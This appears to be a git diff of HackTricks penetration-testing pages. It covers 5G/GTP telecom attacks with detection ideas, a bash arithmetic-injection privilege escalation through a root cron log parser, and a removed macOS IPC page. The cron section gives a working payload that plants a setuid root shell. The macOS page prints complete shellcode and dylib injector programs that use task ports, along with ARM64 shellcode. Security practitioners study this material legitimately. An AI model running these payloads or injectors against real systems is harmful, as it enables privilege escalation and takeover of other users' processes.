- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,6 +4,7 @@
|
||||
|
||||
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
|
||||
|
||||
|
||||
## Command Execution Libraries
|
||||
|
||||
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
|
||||
|
@ -416,6 +416,30 @@ Read the following page for more wildcard exploitation tricks:
|
||||
wildcards-spare-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Bash arithmetic expansion injection in cron log parsers
|
||||
|
||||
Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs.
|
||||
|
||||
- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
|
||||
|
||||
- Typical vulnerable pattern:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# Example: parse a log and "sum" a count field coming from the log
|
||||
while IFS=',' read -r ts user count rest; do
|
||||
# count is untrusted if the log is attacker-controlled
|
||||
(( total += count )) # or: let "n=$count"
|
||||
done < /var/www/app/log/application.log
|
||||
```
|
||||
|
||||
- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid.
|
||||
```bash
|
||||
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
|
||||
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
|
||||
# When the root cron parser evaluates (( total += count )), your command runs as root.
|
||||
```
|
||||
|
||||
### Cron script overwriting and symlink
|
||||
|
||||
If you **can modify a cron script** executed by root, you can get a shell very easily:
|
||||
@ -1682,6 +1706,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
- [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,858 +0,0 @@
|
||||
# macOS IPC - Inter Process Communication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mach messaging via Ports
|
||||
|
||||
### Basic Information
|
||||
|
||||
Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**.
|
||||
|
||||
Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel.
|
||||
|
||||
Each process has an **IPC table**, in there it's possible to find the **mach ports of the process**. The name of a mach port is actually a number (a pointer to the kernel object).
|
||||
|
||||
A process can also send a port name with some rights **to a different task** and the kernel will make this entry in the **IPC table of the other task** appear.
|
||||
|
||||
### Port Rights
|
||||
|
||||
Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe).
|
||||
- A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t.
|
||||
- **Send right**, which allows sending messages to the port.
|
||||
- The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**.
|
||||
- **Send-once right**, which allows sending one message to the port and then disappears.
|
||||
- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix.
|
||||
- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names.
|
||||
|
||||
**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks.
|
||||
|
||||
### File Ports
|
||||
|
||||
File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`.
|
||||
|
||||
### Establishing a communication
|
||||
|
||||
#### Steps:
|
||||
|
||||
As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved.
|
||||
|
||||
1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process.
|
||||
2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**.
|
||||
3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register.
|
||||
4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**.
|
||||
5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**.
|
||||
6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication).
|
||||
|
||||
The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request.
|
||||
|
||||
Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**.
|
||||
|
||||
For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows:
|
||||
|
||||
- Task **B** initiates a bootstrap **lookup** for a service name.
|
||||
- **launchd** checks if the task is running and if it isn’t, **starts** it.
|
||||
- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**.
|
||||
- launchd duplicates the **SEND right and sends it to Task B**.
|
||||
- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication).
|
||||
|
||||
However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation.
|
||||
|
||||
### A Mach Message
|
||||
|
||||
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows:
|
||||
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
|
||||
Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid.
|
||||
|
||||
In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
> [!TIP]
|
||||
> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication.
|
||||
|
||||
The other fields of the message header are:
|
||||
|
||||
- `msgh_size`: the size of the entire packet.
|
||||
- `msgh_remote_port`: the port on which this message is sent.
|
||||
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
|
||||
- `msgh_id`: the ID of this message, which is interpreted by the receiver.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that **mach messages are sent over a \_mach port**\_, which is a **single receiver**, **multiple sender** communication channel built into the mach kernel. **Multiple processes** can **send messages** to a mach port, but at any point only **a single process can read** from it.
|
||||
|
||||
### Enumerate ports
|
||||
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
|
||||
You can install this tool in iOS downloading it from [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
|
||||
### Code example
|
||||
|
||||
Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc receiver.c -o receiver
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Create a new port.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_allocate() created port right name %d\n", port);
|
||||
|
||||
|
||||
// Give us a send right to this port, in addition to the receive right.
|
||||
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_insert_right() inserted a send right\n");
|
||||
|
||||
|
||||
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_register()'ed our port\n");
|
||||
|
||||
|
||||
// Wait for a message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
mach_msg_trailer_t trailer;
|
||||
} message;
|
||||
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||
0, // Size of the message being sent, if sending.
|
||||
sizeof(message), // Size of the buffer for receiving.
|
||||
port, // The port to receive a message on.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Got a message\n");
|
||||
|
||||
message.some_text[9] = 0;
|
||||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="sender.c"}}
|
||||
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||
|
||||
|
||||
// Construct our message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
} message;
|
||||
|
||||
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
message.header.msgh_remote_port = port;
|
||||
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||
|
||||
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||
message.some_number = 35;
|
||||
|
||||
// Send the message.
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_SEND_MSG, // Options. We're sending a message.
|
||||
sizeof(message), // Size of the message being sent.
|
||||
0, // Size of the buffer for receiving.
|
||||
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Privileged Ports
|
||||
|
||||
- **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`).
|
||||
- **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission.
|
||||
- Moreover, in order to call **`kext_request`** API it's needed to have other entitlements **`com.apple.private.kext*`** which are only given to Apple binaries.
|
||||
- **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`.
|
||||
- **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...).
|
||||
- Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) while doing a `fork()`.
|
||||
- These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`):
|
||||
- If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases.
|
||||
- Apps with the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications.
|
||||
- **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple).
|
||||
|
||||
### Shellcode Injection in thread via Task port
|
||||
|
||||
You can grab a shellcode from:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="mysleep.m"}}
|
||||
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="entitlements.plist"}}
|
||||
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AppKit/AppKit.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
// ARM64 shellcode that executes touch /tmp/lalala
|
||||
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||
|
||||
|
||||
int inject(pid_t pid){
|
||||
|
||||
task_t remoteTask;
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
pid_t pidForProcessName(NSString *processName) {
|
||||
NSArray *arguments = @[@"pgrep", processName];
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
[task setLaunchPath:@"/usr/bin/env"];
|
||||
[task setArguments:arguments];
|
||||
|
||||
NSPipe *pipe = [NSPipe pipe];
|
||||
[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle *file = [pipe fileHandleForReading];
|
||||
|
||||
[task launch];
|
||||
|
||||
NSData *data = [file readDataToEndOfFile];
|
||||
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid_t)[string integerValue];
|
||||
}
|
||||
|
||||
BOOL isStringNumeric(NSString *str) {
|
||||
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
||||
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
||||
return r.location == NSNotFound;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc < 2) {
|
||||
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
||||
pid_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) {
|
||||
pid = [arg intValue];
|
||||
} else {
|
||||
pid = pidForProcessName(arg);
|
||||
if (pid == 0) {
|
||||
NSLog(@"Error: Process named '%@' not found.", arg);
|
||||
return 1;
|
||||
}
|
||||
else{
|
||||
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
||||
}
|
||||
}
|
||||
|
||||
inject(pid);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
|
||||
### Dylib Injection in thread via Task port
|
||||
|
||||
In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previous injection, was generated using Mach api, so **it's not posix compliant**.
|
||||
|
||||
It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**.
|
||||
|
||||
Therefore, to **improve the thread** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load a dylib** from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries.
|
||||
|
||||
You can find **example dylibs** in (for example the one that generates a log and then you can listen to it):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
{{#endref}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>dylib_injector.m</summary>
|
||||
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/error.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <pthread.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
//#include "mach/arm/thread_status.h"
|
||||
|
||||
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
|
||||
// And I say, bullshit.
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
|
||||
char injectedCode[] =
|
||||
|
||||
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
||||
|
||||
// Call pthread_set_self
|
||||
|
||||
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
|
||||
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
|
||||
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
|
||||
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
|
||||
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
|
||||
